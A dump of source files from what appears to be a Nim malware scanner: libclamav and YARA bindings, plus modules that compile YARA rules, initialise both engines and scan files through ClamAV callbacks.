decode Whether or not to base64-decode the signature prior to verification. 1 for yes, 0 for no. 1036 | ## @return 0 for success, -1 for error or invalid signature. 1037 | ## ``` 1038 | # proc cl_verify_signature_hash*(pkey: ptr EVP_PKEY; alg: cstring; 1039 | # sig: ptr uint8; siglen: cuint; 1040 | # digest: ptr uint8): cint {.importc, cdecl, 1041 | # impclamavHdr.} 1042 | # ## ``` 1043 | ## @brief Verify validity of signed data. 1044 | ## 1045 | ## @param pkey The public key of the keypair that signed the data. 1046 | ## @param alg The algorithm used to hash the data. 1047 | ## @param sig The signature block. 1048 | ## @param siglen The length of the signature. 1049 | ## @param digest The hash of the signed data. 1050 | ## @return 0 for success, -1 for error or invalid signature. 1051 | ## ``` 1052 | # proc cl_verify_signature_fd*(pkey: ptr EVP_PKEY; alg: cstring; sig: ptr uint8; 1053 | # siglen: cuint; fd: cint): cint {.importc, cdecl, 1054 | # impclamavHdr.} 1055 | ## ``` 1056 | ## @brief Verify validity of signed data. 1057 | ## 1058 | ## @param pkey The public key of the keypair that signed the data. 1059 | ## @param alg The algorithm used to hash the data. 1060 | ## @param sig The signature block. 1061 | ## @param siglen The length of the signature. 1062 | ## @param fd The file descriptor. 1063 | ## @return 0 for success, -1 for error or invalid signature. 1064 | ## ``` 1065 | proc cl_verify_signature_hash_x509_keyfile*(x509path: cstring; alg: cstring; 1066 | sig: ptr uint8; siglen: cuint; digest: ptr uint8): cint {.importc, cdecl, 1067 | impclamavHdr.} 1068 | ## ``` 1069 | ## @brief Verify validity of signed data. 1070 | ## 1071 | ## @param x509path The path to the public key of the keypair that signed the data. 1072 | ## @param alg The algorithm used to hash the data. 1073 | ## @param sig The signature block. 1074 | ## @param siglen The length of the signature. 1075 | ## @param digest The hash of the signed data. 1076 | ## @return 0 for success, -1 for error or invalid signature. 1077 | ## ``` 1078 | proc cl_verify_signature_fd_x509_keyfile*(x509path: cstring; alg: cstring; 1079 | sig: ptr uint8; siglen: cuint; fd: cint): cint {.importc, cdecl, 1080 | impclamavHdr.} 1081 | ## ``` 1082 | ## @brief Verify validity of signed data. 1083 | ## 1084 | ## @param x509path The path to the public key of the keypair that signed the data. 1085 | ## @param alg The algorithm used to hash the data. 1086 | ## @param sig The signature block. 1087 | ## @param siglen The length of the signature. 1088 | ## @param fd The file descriptor. 1089 | ## @return 0 for success, -1 for error or invalid signature. 1090 | ## ``` 1091 | proc cl_verify_signature_x509_keyfile*(x509path: cstring; alg: cstring; 1092 | sig: ptr uint8; siglen: cuint; 1093 | data: ptr uint8; datalen: uint; 1094 | decode: cint): cint {.importc, cdecl, 1095 | impclamavHdr.} 1096 | ## ``` 1097 | ## @brief Verify validity of signed data. 1098 | ## 1099 | ## @param x509path The path to the public key of the keypair that signed the data. 1100 | ## @param alg The algorithm used to hash the data. 1101 | ## @param sig The signature block. 1102 | ## @param siglen The length of the signature. 1103 | ## @param data The data that was signed. 1104 | ## @param datalen The length of the data. 1105 | ## @param decode Whether or not to base64-decode the signature prior to verification. 1 for yes, 0 for no. 1106 | ## @return 0 for success, -1 for error or invalid signature. 1107 | ## ``` 1108 | # proc cl_verify_signature_hash_x509*(x509: ptr X509; alg: cstring; 1109 | # sig: ptr uint8; siglen: cuint; 1110 | # digest: ptr uint8): cint {.importc, cdecl, 1111 | # impclamavHdr.} 1112 | ## ``` 1113 | ## @brief Verify validity of signed data 1114 | ## 1115 | ## @param x509 The X509 object of the public key of the keypair that signed the data. 1116 | ## @param alg The algorithm used to hash the data. 1117 | ## @param sig The signature block. 1118 | ## @param siglen The length of the signature. 1119 | ## @param digest The hash of the signed data. 1120 | ## @return 0 for success, -1 for error or invalid signature. 1121 | ## ``` 1122 | # proc cl_verify_signature_fd_x509*(x509: ptr X509; alg: cstring; sig: ptr uint8; 1123 | # siglen: cuint; fd: cint): cint {.importc, 1124 | # cdecl, impclamavHdr.} 1125 | ## ``` 1126 | ## @brief Verify validity of signed data. 1127 | ## 1128 | ## @param x509 The X509 object of the public key of the keypair that signed the data. 1129 | ## @param alg The algorithm used to hash the data. 1130 | ## @param sig The signature block. 1131 | ## @param siglen The length of the signature. 1132 | ## @param fd The file descriptor. 1133 | ## @return 0 for success, -1 for error or invalid signature. 1134 | ## ``` 1135 | # proc cl_verify_signature_x509*(x509: ptr X509; alg: cstring; sig: ptr uint8; 1136 | # siglen: cuint; data: ptr uint8; datalen: uint; 1137 | # decode: cint): cint {.importc, cdecl, 1138 | # impclamavHdr.} 1139 | ## ``` 1140 | ## @brief Verify validity of signed data. 1141 | ## 1142 | ## @param x509 The X509 object of the public key of the keypair that signed the data. 1143 | ## @param alg The algorithm used to hash the data. 1144 | ## @param sig The signature block. 1145 | ## @param siglen The length of the signature. 1146 | ## @param data The data that was signed. 1147 | ## @param datalen The length of the data. 1148 | ## @param decode Whether or not to base64-decode the signature prior to verification. 1 for yes, 0 for no. 1149 | ## @return 0 for success, -1 for error or invalid signature. 1150 | ## ``` 1151 | # proc cl_get_x509_from_mem*(data: pointer; len: cuint): ptr X509 {.importc, 1152 | # cdecl, impclamavHdr.} 1153 | ## ``` 1154 | ## @brief Get an X509 object from memory. 1155 | ## 1156 | ## @param data A pointer to a spot in memory that contains the PEM X509 cert. 1157 | ## @param len The length of the data. 1158 | ## @return A pointer to the X509 object on success, NULL on error. 1159 | ## ``` 1160 | proc cl_validate_certificate_chain_ts_dir*(tsdir: cstring; certpath: cstring): cint {. 1161 | importc, cdecl, impclamavHdr.} 1162 | ## ``` 1163 | ## @brief Validate an X509 certificate chain, with the chain being located in a directory. 1164 | ## 1165 | ## @param tsdir The path to the trust store directory. 1166 | ## @param certpath The path to the X509 certificate to be validated. 1167 | ## @return 0 for success, -1 for error or invalid certificate. 1168 | ## ``` 1169 | proc cl_validate_certificate_chain*(authorities: ptr cstring; crlpath: cstring; 1170 | certpath: cstring): cint {.importc, cdecl, 1171 | impclamavHdr.} 1172 | ## ``` 1173 | ## @brief Validate an X509 certificate chain with support for a CRL. 1174 | ## 1175 | ## @param authorities A NULL-terminated array of strings that hold the path of the CA's X509 certificate. 1176 | ## @param crlpath (optional) A path to the CRL file. NULL if no CRL. 1177 | ## @param certpath The path to the X509 certificate to be validated. 1178 | ## @return 0 for success, -1 for error or invalid certificate. 1179 | ## ``` 1180 | # proc cl_load_cert*(certpath: cstring): ptr X509 {.importc, cdecl, impclamavHdr.} 1181 | ## ``` 1182 | ## @brief Load an X509 certificate from a file. 1183 | ## 1184 | ## @param certpath The path to the X509 certificate. 1185 | ## ``` 1186 | # proc cl_ASN1_GetTimeT*(timeobj: ptr ASN1_TIME): ptr tm {.importc, cdecl, 1187 | # impclamavHdr.} 1188 | ## ``` 1189 | ## @brief Parse an ASN1_TIME object. 1190 | ## 1191 | ## @param timeobj The ASN1_TIME object. 1192 | ## @return A pointer to a (struct tm). Adjusted for time zone and daylight savings time. 1193 | ## ``` 1194 | # proc cl_load_crl*(timeobj: cstring): ptr X509_CRL {.importc, cdecl, impclamavHdr.} 1195 | ## ``` 1196 | ## @brief Load a CRL file into an X509_CRL object. 1197 | ## 1198 | ## @param file The path to the CRL. 1199 | ## @return A pointer to an X509_CRL object or NULL on error. 1200 | ## ``` 1201 | proc cl_sign_data_keyfile*(keypath: cstring; alg: cstring; hash: ptr uint8; 1202 | olen: ptr cuint; encode: cint): ptr uint8 {.importc, 1203 | cdecl, impclamavHdr.} 1204 | ## ``` 1205 | ## @brief Sign data with a key stored on disk. 1206 | ## 1207 | ## @param keypath The path to the RSA private key. 1208 | ## @param alg The hash/signature algorithm to use. 1209 | ## @param hash The hash to sign. 1210 | ## @param[out] olen A pointer that stores the size of the signature. 1211 | ## @param Whether or not to base64-encode the signature. 1 for yes, 0 for no. 1212 | ## @return The generated signature. 1213 | ## ``` 1214 | # proc cl_sign_data*(pkey: ptr EVP_PKEY; alg: cstring; hash: ptr uint8; 1215 | # olen: ptr cuint; encode: cint): ptr uint8 {.importc, cdecl, 1216 | # impclamavHdr.} 1217 | ## ``` 1218 | ## @brief Sign data with an RSA private key object. 1219 | ## 1220 | ## @param pkey The RSA private key object. 1221 | ## @param alg The hash/signature algorithm to use. 1222 | ## @param hash The hash to sign. 1223 | ## @param[out] olen A pointer that stores the size of the signature. 1224 | ## @param Whether or not to base64-encode the signature. 1 for yes, 0 for no. 1225 | ## @return The generated signature. 1226 | ## ``` 1227 | # proc cl_sign_file_fd*(fd: cint; pkey: ptr EVP_PKEY; alg: cstring; 1228 | # olen: ptr cuint; encode: cint): ptr uint8 {.importc, 1229 | # cdecl, impclamavHdr.} 1230 | ## ``` 1231 | ## @brief Sign a file with an RSA private key object. 1232 | ## 1233 | ## @param fd The file descriptor. 1234 | ## @param pkey The RSA private key object. 1235 | ## @param alg The hash/signature algorithm to use. 1236 | ## @param[out] olen A pointer that stores the size of the signature. 1237 | ## @param encode Whether or not to base64-encode the signature. 1 for yes, 0 for no. 1238 | ## @return The generated signature. 1239 | ## ``` 1240 | # proc cl_sign_file_fp*(fp: File; pkey: ptr EVP_PKEY; alg: cstring; 1241 | # olen: ptr cuint; encode: cint): ptr uint8 {.importc, 1242 | # cdecl, impclamavHdr.} 1243 | ## ``` 1244 | ## @brief Sign a file with an RSA private key object. 1245 | ## 1246 | ## @param fp A pointer to a FILE object. 1247 | ## @param pkey The RSA private key object. 1248 | ## @param alg The hash/signature algorithm to use. 1249 | ## @param[out] olen A pointer that stores the size of the signature. 1250 | ## @param encode Whether or not to base64-encode the signature. 1 for yes, 0 for no. 1251 | ## @return The generated signature. 1252 | ## ``` 1253 | # proc cl_get_pkey_file*(keypath: cstring): ptr EVP_PKEY {.importc, cdecl, 1254 | # impclamavHdr.} 1255 | ## ``` 1256 | ## @brief Get the Private Key stored on disk. 1257 | ## 1258 | ## @param keypath The path on disk where the private key is stored. 1259 | ## @return A pointer to the EVP_PKEY object that contains the private key in memory. 1260 | ## ``` 1261 | proc cl_hash_init*(alg: cstring): pointer {.importc, cdecl, impclamavHdr.} 1262 | proc cl_update_hash*(ctx: pointer; data: pointer; sz: uint): cint {.importc, 1263 | cdecl, impclamavHdr.} 1264 | proc cl_finish_hash*(ctx: pointer; buf: pointer): cint {.importc, cdecl, 1265 | impclamavHdr.} 1266 | proc cl_hash_destroy*(ctx: pointer) {.importc, cdecl, impclamavHdr.} 1267 | {.pop.} 1268 | -------------------------------------------------------------------------------- /src/engine/bindings/yara.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2007-2013. The YARA Authors. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, 5 | are permitted provided that the following conditions are met: 6 | 7 | 1. Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | 2. Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation and/or 12 | other materials provided with the distribution. 13 | 14 | 3. Neither the name of the copyright holder nor the names of its contributors 15 | may be used to endorse or promote products derived from this software without 16 | specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 19 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 22 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 24 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 25 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 26 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 27 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | */ 29 | 30 | #ifndef YR_YARA_H 31 | #define YR_YARA_H 32 | 33 | #include "yara/ahocorasick.h" 34 | #include "yara/atoms.h" 35 | #include "yara/bitmask.h" 36 | #include "yara/error.h" 37 | #include "yara/exefiles.h" 38 | #include "yara/hash.h" 39 | #include "yara/libyara.h" 40 | #include "yara/mem.h" 41 | #include "yara/notebook.h" 42 | #include "yara/re.h" 43 | #include "yara/scan.h" 44 | #include "yara/sizedstr.h" 45 | #include "yara/stopwatch.h" 46 | #include "yara/strutils.h" 47 | #include "yara/types.h" 48 | #include "yara/arena.h" 49 | #include "yara/base64.h" 50 | #include "yara/compiler.h" 51 | #include "yara/exec.h" 52 | #include "yara/filemap.h" 53 | #include "yara/integers.h" 54 | #include "yara/limits.h" 55 | #include "yara/modules.h" 56 | #include "yara/object.h" 57 | #include "yara/proc.h" 58 | #include "yara/rules.h" 59 | #include "yara/scanner.h" 60 | #include "yara/stack.h" 61 | #include "yara/stream.h" 62 | #include "yara/threading.h" 63 | #include "yara/utils.h" 64 | 65 | #endif 66 | -------------------------------------------------------------------------------- /src/engine/compile_rules.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Handle compiling rules 3 | 1. Provide API to compile rules at compile time 4 | 2. Provide API to compile rules at scan time (which helps decreasing memory usage) 5 | 3. Provide API to select and compile text rules, or load custom compiled rules (todo ignore rules at db) at pre-scan time 6 | TODO previous logic uses Namespace for malware type. Must change to use tag or something different instead because 7 | there's no way to handle this value with current logic 8 | ]# 9 | 10 | import strformat 11 | import strutils 12 | import ../engine/bindings/libyara 13 | 14 | type 15 | COMPILER_RESULT* = object 16 | errors*: int 17 | warnings*: int 18 | 19 | 20 | proc compiler_print_err(error_level: cint; file_name: cstring; line_number: cint; rule: ptr YR_RULE; message: cstring; user_data: pointer) {.cdecl.} = 21 | if rule != nil: 22 | echo fmt"{message} at {file_name}:{line_number}" 23 | 24 | #[ 25 | Init compiler engine 26 | ]# 27 | proc compiler_init(compiler: var ptr YR_COMPILER): bool = 28 | var 29 | compiler_result: COMPILER_RESULT 30 | setting_max_string = DEFAULT_MAX_STRINGS_PER_RULE 31 | 32 | if yr_compiler_create(addr(compiler)) != ERROR_SUCCESS: 33 | return false 34 | 35 | discard yr_set_configuration(YR_CONFIG_MAX_STRINGS_PER_RULE, addr(setting_max_string)) 36 | yr_compiler_set_callback(compiler, compiler_print_err, addr(compiler_result)) 37 | 38 | return true 39 | 40 | 41 | proc compiler_finit(compiler: var ptr YR_COMPILER, rules: var ptr YR_RULES) = 42 | # let loaded_sigs = uint(rules.num_rules) 43 | # echo "Compiled ", loaded_sigs, " signatures from ", path 44 | 45 | if compiler != nil: 46 | yr_compiler_destroy(compiler) 47 | if rules != nil: 48 | discard yr_rules_destroy(rules) 49 | 50 | 51 | #[ 52 | Define variable that could be used at scan time. 53 | ]# 54 | proc compiler_define_scan_variables(compiler: var ptr YR_COMPILER) = 55 | discard yr_compiler_define_boolean_variable(compiler, cstring("proc_exe_exists"), cint(0)) 56 | discard yr_compiler_define_string_variable(compiler, cstring("proc_exe"), cstring("")) 57 | discard yr_compiler_define_string_variable(compiler, cstring("proc_name"), cstring("")) 58 | discard yr_compiler_define_string_variable(compiler, cstring("fd_stdin"), cstring("")) 59 | discard yr_compiler_define_string_variable(compiler, cstring("fd_stdout"), cstring("")) 60 | discard yr_compiler_define_string_variable(compiler, cstring("fd_stderr"), cstring("")) 61 | discard yr_compiler_define_string_variable(compiler, cstring("proc_cmdline"), cstring("")) 62 | 63 | 64 | #[ 65 | Load default rules and compile at compile time, save as compiled files 66 | ]# 67 | proc compiler_compile_db(compiler: var ptr YR_COMPILER, rules: var ptr YR_RULES, file_path, compiled_path: string) = 68 | discard yr_compiler_add_file(compiler, open(file_path), nil, cstring(file_path)) 69 | discard yr_compiler_get_rules(compiler, addr(rules)) 70 | discard yr_rules_save(rules, compiled_path) 71 | 72 | 73 | #[ 74 | Load text rules from CLI and compile at pre-scan time (in memory compile) 75 | ]# 76 | proc compiler_load_rules(compiler: var ptr YR_COMPILER, rules: var ptr YR_RULES, list_path: seq[string]): bool = 77 | for path in list_path: 78 | 79 | if yr_compiler_add_file(compiler, open(path), "ExtrRules", cstring(path)) != ERROR_SUCCESS: 80 | return false 81 | 82 | if yr_compiler_get_rules(compiler, addr(rules)) != ERROR_SUCCESS: 83 | return false 84 | 85 | return true 86 | 87 | 88 | #[ 89 | Compile text rule to make and save compiled rule 90 | Should be used at compile time. Research further for dynamic load from CLI 91 | YR rules pointer should be from parent function, either by scanner or compile-time compiler 92 | ]# 93 | proc compiler_do_compile(rules: var ptr YR_RULES, file_path, compiled_path: string) = 94 | var 95 | compiler: ptr YR_COMPILER 96 | 97 | if not compiler_init(compiler): 98 | return 99 | 100 | compiler_define_scan_variables(compiler) 101 | compiler_compile_db(compiler, rules, file_path, compiled_path) 102 | compiler_finit(compiler, rules) 103 | 104 | 105 | #[ 106 | Compile text rule and load into memory 107 | Should be used at pre-scan time 108 | ]# 109 | proc compiler_do_compile(rules: var ptr YR_RULES, list_path: seq[string]): bool = 110 | var 111 | compiler: ptr YR_COMPILER 112 | 113 | if not compiler_init(compiler): 114 | return 115 | 116 | compiler_define_scan_variables(compiler) 117 | result = compiler_load_rules(compiler, rules, list_path) 118 | compiler_finit(compiler, rules) 119 | -------------------------------------------------------------------------------- /src/engine/engine_cores.nim: -------------------------------------------------------------------------------- 1 | import bitops 2 | import strutils 3 | import streams 4 | import os 5 | import bindings/[libclamav, libyara] 6 | import ../cli/print_utils 7 | import ../compiler/compiler_utils 8 | 9 | 10 | type 11 | ScanOptions* = object 12 | list_path_objects*: seq[string] 13 | list_procs*: seq[uint] 14 | scan_all_procs*: bool 15 | scan_function_hook*: bool 16 | is_clam_debug*: bool 17 | use_clam_db*: bool 18 | scan_preload*: bool 19 | db_path_clamav*: string 20 | db_path_yara*: string 21 | 22 | ProcInfo* = object 23 | pid*: uint 24 | procfs*: string 25 | proc_name*: string 26 | proc_exe*: string 27 | 28 | ClEngine* = object 29 | engine*: ptr cl_engine 30 | options*: cl_scan_options 31 | YrEngine* = object 32 | rules*: ptr YR_RULES 33 | scanner*: ptr YR_SCANNER 34 | 35 | ScanCtx* = object of RootObj 36 | yara*: YrEngine 37 | clam*: ClEngine 38 | scan_object*: string 39 | virt_scan_object*: string # Inner name 40 | scan_result*: cl_error_t 41 | virname*: cstring 42 | FileScanCtx* = object of ScanCtx 43 | file_scanned*: uint 44 | file_infected*: uint 45 | ProcScanCtx* = object of ScanCtx 46 | pinfo*: ProcInfo 47 | proc_scanned*: uint 48 | proc_infected*: uint 49 | 50 | 51 | const 52 | YR_SCAN_TIMEOUT*: cint = 1000000 53 | SCANNER_MAX_PROC_COUNT* = 4194304 54 | 55 | 56 | proc init_clamav*(clam_engine: var ClEngine, loaded_sig_count: var uint, path_clamdb: string, use_clam, clam_debug: bool): cl_error_t = 57 | #[ 58 | Start ClamAV engine 59 | https://docs.clamav.net/manual/Development/libclamav.html#initialization 60 | https://docs.clamav.net/manual/Development/libclamav.html#database-loading 61 | ]# 62 | result = cl_init(CL_INIT_DEFAULT) 63 | if result != CL_SUCCESS: 64 | return result 65 | 66 | echo "LibClam engine: ", cl_retver() 67 | clam_engine.engine = cl_engine_new() 68 | 69 | # ~0 (not 0) is to enable all flags.In this case, we disable flags by default 70 | clam_engine.options.parse = bitor(clam_engine.options.parse, 0) 71 | # Enable some parsers 72 | clam_engine.options.parse = bitor(clam_engine.options.parse, CL_SCAN_PARSE_ARCHIVE) 73 | clam_engine.options.parse = bitor(clam_engine.options.parse, CL_SCAN_PARSE_OLE2) 74 | clam_engine.options.parse = bitor(clam_engine.options.parse, CL_SCAN_PARSE_PDF) 75 | # clam_engine.options.parse = bitor(clam_engine.options.parse, CL_SCAN_PARSE_SWF) 76 | clam_engine.options.parse = bitor(clam_engine.options.parse, CL_SCAN_PARSE_HWP3) 77 | clam_engine.options.parse = bitor(clam_engine.options.parse, CL_SCAN_PARSE_XMLDOCS) 78 | clam_engine.options.parse = bitor(clam_engine.options.parse, CL_SCAN_PARSE_MAIL) 79 | clam_engine.options.parse = bitor(clam_engine.options.parse, CL_SCAN_PARSE_HTML) 80 | 81 | clam_engine.options.general = bitor(clam_engine.options.general, CL_SCAN_GENERAL_HEURISTICS) 82 | # When enable, this option will save tmp file at /tmp/ 83 | clam_engine.options.parse = bitor(clam_engine.options.parse, ENGINE_OPTIONS_DISABLE_CACHE) 84 | 85 | discard clam_engine.engine.cl_engine_set_num(CL_ENGINE_MAX_FILESIZE, 75 * 1024 * 1024) # Max scan size 75mb 86 | 87 | # Did we set debug? 88 | if clam_debug: 89 | cl_debug() 90 | 91 | # If database path is not empty, load ClamAV Signatures 92 | if use_clam: 93 | var 94 | sig_count: cuint = 0 95 | result = cl_load(cstring(path_clamdb), clam_engine.engine, addr(sig_count), bitor(CL_DB_STDOPT, CL_DB_BYTECODE_UNSIGNED)) 96 | loaded_sig_count = uint(sig_count) 97 | 98 | if result == CL_SUCCESS: 99 | print_loaded_signatures(loaded_sig_count, false) 100 | 101 | return cl_engine_compile(clam_engine.engine) 102 | 103 | 104 | #[ 105 | Give ClamAV Engine's freedom 106 | https://docs.clamav.net/manual/Development/libclamav.html#initialization 107 | ]# 108 | proc finit_clamav*(clam_engine: var ClEngine) = 109 | if clam_engine.engine != nil: 110 | discard cl_engine_free(clam_engine.engine) 111 | 112 | 113 | #[ 114 | Check if the database file of Yara is compiled or text-based 115 | ]# 116 | proc yr_rules_is_compiled(path: string, is_compiled: var bool): bool = 117 | try: 118 | let 119 | f = newFileStream(path) 120 | 121 | is_compiled = f.readStr(4) == "YARA" 122 | f.close() 123 | return true 124 | except: 125 | echo getCurrentExceptionMsg() 126 | return false 127 | 128 | 129 | proc load_yara_rules_from_file(yara_engine: var YrEngine, db_path: string): bool = 130 | var 131 | is_compiled: bool 132 | 133 | if not yr_rules_is_compiled(db_path, is_compiled): 134 | raise newException(OSError, "Failed to read Yara's database") 135 | 136 | if not is_compiled: 137 | # Need to compile rules 138 | return yr_rules_compile_custom_rules(yara_engine.rules, @[db_path]) 139 | else: 140 | if yr_rules_load(cstring(db_path), addr(yara_engine.rules)) != ERROR_SUCCESS: 141 | return false 142 | return true 143 | 144 | 145 | proc load_yara_rules_from_dir(yara_engine: var YrEngine, db_path: string): bool = 146 | var 147 | list_db: seq[string] 148 | 149 | for kind, path in walkDir(db_path): 150 | if kind == pcFile: 151 | let 152 | extension = splitFile(path).ext 153 | if extension == ".yar" or extension == ".yara": 154 | list_db.add(path) 155 | 156 | if len(list_db) == 0: 157 | raise newException(ValueError, "Unable to find Yara rules in directory") 158 | return yr_rules_compile_custom_rules(yara_engine.rules, list_db) 159 | 160 | 161 | #[ 162 | Load Yara rules from a file or directory 163 | ]# 164 | proc load_custom_yara_rules(yara_engine: var YrEngine, db_path: string): bool = 165 | let 166 | db_file_type = getFileInfo(db_path).kind # Should we follow symlink? 167 | 168 | if db_file_type == pcFile: 169 | return load_yara_rules_from_file(yara_engine, db_path) 170 | elif db_file_type == pcDir: 171 | return load_yara_rules_from_dir(yara_engine, db_path) 172 | else: 173 | # Unknown file kind? 174 | return false 175 | 176 | 177 | #[ 178 | Initilize Yara's engine 179 | ]# 180 | proc init_yara*(yara_engine: var YrEngine, loaded_sigs: var uint, db_path: string): int = 181 | result = yr_initialize() 182 | 183 | if result != ERROR_SUCCESS: 184 | return result 185 | 186 | var 187 | stack_size = DEFAULT_STACK_SIZE 188 | max_strings_per_rule = DEFAULT_MAX_STRINGS_PER_RULE 189 | 190 | if isEmptyOrWhitespace(db_path): 191 | return ERROR_COULD_NOT_OPEN_FILE 192 | 193 | if not load_custom_yara_rules(yara_engine, db_path): 194 | return ERROR_COULD_NOT_OPEN_FILE 195 | 196 | loaded_sigs = uint(yara_engine.rules.num_rules) 197 | 198 | print_yara_version() 199 | print_loaded_signatures(loaded_sigs, true) 200 | 201 | discard yr_set_configuration(YR_CONFIG_STACK_SIZE, addr(stack_size)) 202 | discard yr_set_configuration(YR_CONFIG_MAX_STRINGS_PER_RULE, addr(max_strings_per_rule)) 203 | return result 204 | 205 | 206 | proc finit_yara*(engine: var YrEngine) = 207 | if engine.rules != nil: 208 | discard yr_rules_destroy(engine.rules) 209 | discard yr_finalize() 210 | -------------------------------------------------------------------------------- /src/engine/scan_file.nim: -------------------------------------------------------------------------------- 1 | import strutils 2 | import os 3 | import engine_cores 4 | import bindings/[libyara, libclamav] 5 | import .. /cli/[progress_bar, print_utils] 6 | # import posix 7 | 8 | 9 | #[ 10 | Print infected file for Yara 11 | ]# 12 | proc fscanner_on_malware_found_yara(context: ptr YR_SCAN_CONTEXT, message: cint, message_data: pointer, user_data: pointer): cint {.cdecl.} = 13 | var 14 | ctx = cast[ptr FileScanCtx](user_data) 15 | 16 | if message == CALLBACK_MSG_RULE_MATCHING: 17 | let 18 | rule = cast[ptr YR_RULE](message_data) 19 | 20 | ctx.scan_result = CL_VIRUS 21 | ctx.virname = cstring($rule.ns.name & ":" & replace($rule.identifier, "_", ".")) 22 | return CALLBACK_ABORT 23 | else: 24 | ctx.scan_result = CL_CLEAN 25 | ctx.virname = "" 26 | return CALLBACK_CONTINUE 27 | 28 | 29 | #[ 30 | Print infected file for ClamAV 31 | ]# 32 | proc fscanner_on_malware_found_clam*(fd: cint, virname: cstring, context: pointer) {.cdecl.} = 33 | let 34 | ctx = cast[ptr FileScanCtx](context) 35 | # Show virname for heur detection 36 | virus_name = if isEmptyOrWhitespace($ctx.virname): virname else: ctx.virname 37 | 38 | ctx.file_infected += 1 39 | print_file_infected($virus_name, ctx.virt_scan_object) 40 | 41 | 42 | #[ 43 | Disable print message for ClamAV 44 | ]# 45 | proc fscanner_slient_message_clam*(severity: cl_msg, fullmsg: cstring, msg: cstring, context: pointer) {.cdecl.} = 46 | discard 47 | 48 | 49 | #[ 50 | When Yara engine is nil, and ClamAV is enabled, 51 | Clam will scan anyway. 52 | This function will count scanned files by ClamAV 53 | ]# 54 | proc fscanner_cb_inc_count*(fd: cint, scan_result: cint, virname: cstring, context: pointer): cl_error_t {.cdecl.} = 55 | let 56 | ctx = cast[ptr FileScanCtx](context) 57 | 58 | progress_bar_scan_file(ctx.scan_object) 59 | ctx.file_scanned += 1 60 | 61 | 62 | #[ 63 | Scan file descriptor with Yara 64 | When ClamAV Engine is defined, it will be called later 65 | # TODO use Yara scanner 66 | ]# 67 | proc fscanner_cb_file_inspection*(fd: cint, file_type: cstring, ancestors: ptr cstring, parent_file_size: uint, 68 | file_name: cstring; file_size: uint, file_buffer: cstring, recursion_level: uint32, layer_attributes: uint32, 69 | context: pointer): cl_error_t {.cdecl.} = 70 | #[ 71 | Only use Yara scan when file_type is various types like PE, ELF, text, ... 72 | Arcoding to LibClamAV's scanners.c#L4624, there are some file types triggers scan function. There are some unknown 73 | file types like 74 | 1. CL_TYPE_TEXT_ASCII 75 | 2. CL_TYPE_TEXT_UTF16BE 76 | 3. CL_TYPE_TEXT_UTF16LE 77 | ]# 78 | # TODO dig ClamAV's code to improve accuracy of file scanning. Idea: Do not scan compressed files 79 | #[ 80 | ClamAV doesn't scan CL_TYPE_TEXT_ASCII? 81 | ]# 82 | # TODO improve ram usage. Current function is using 54mb (compare to 46mb when use pre-cache) for same files 83 | # TODO create a rule to combine text_ascii with the scan memory to prevent false positive 84 | 85 | # if $file_type in [ 86 | # "CL_TYPE_TEXT_UTF8", 87 | # "CL_TYPE_MSEXE", 88 | # "CL_TYPE_ELF", 89 | # "CL_TYPE_MACHO_UNIBIN", 90 | # "CL_TYPE_BINARY_DATA", 91 | # "CL_TYPE_HTML", 92 | # "CL_TYPE_TEXT_ASCII" 93 | # ]: 94 | let 95 | ctx = cast[ptr FileScanCtx](context) 96 | 97 | if ctx.scan_result == CL_VIRUS: 98 | return CL_VIRUS 99 | 100 | ctx.virt_scan_object = ctx.scan_object 101 | 102 | if not isEmptyOrWhitespace($file_name): 103 | let 104 | inner_file_name = splitPath($file_name).tail 105 | 106 | if inner_file_name != splitPath(ctx.scan_object).tail: 107 | if "//" in ctx.scan_object: 108 | ctx.virt_scan_object = ctx.scan_object & "/" & inner_file_name 109 | else: 110 | ctx.virt_scan_object = ctx.scan_object & "//" & inner_file_name 111 | 112 | discard yr_rules_scan_fd(ctx.yara.rules, fd, SCAN_FLAGS_FAST_MODE, fscanner_on_malware_found_yara, context, YR_SCAN_TIMEOUT) 113 | 114 | if ctx.scan_result == CL_VIRUS: 115 | # FIX multiple files marked as previous signature. However, it might raise error using multiple callbacks to detect malware 116 | ctx.scan_result = CL_CLEAN 117 | return CL_VIRUS 118 | 119 | return CL_CLEAN 120 | 121 | 122 | #[ 123 | Call ClamAV's scan file callback. 124 | ]# 125 | proc fscanner_scan_file*(scan_ctx: var FileScanCtx, scan_path: string, virname: var cstring, scanned: var uint) = 126 | scan_ctx.file_scanned += 1 127 | scan_ctx.scan_object = scan_path 128 | 129 | progress_bar_scan_file(scan_ctx.virt_scan_object) 130 | discard cl_scanfile_callback(cstring(scan_ctx.scan_object), addr(virname), addr(scanned), scan_ctx.clam.engine, addr(scan_ctx.clam.options), addr(scan_ctx)) 131 | 132 | 133 | #[ 134 | Check hidden node by d_name's comparison. 135 | Limitations: 136 | 1. If file name is too long, we can't parse the name of next node 137 | 2. If 2 hidden nodes are next to each other, 1 node is not going to be detected 138 | ]# 139 | # proc fscanner_check_hidden_node(scan_ctx: var FileScanCtx, ptr_dir: ptr Dirent, scan_dir, current_node_name: string, next_node_name: var string) = 140 | # if not isEmptyOrWhiteSpace(next_node_name) and next_node_name != current_node_name: 141 | 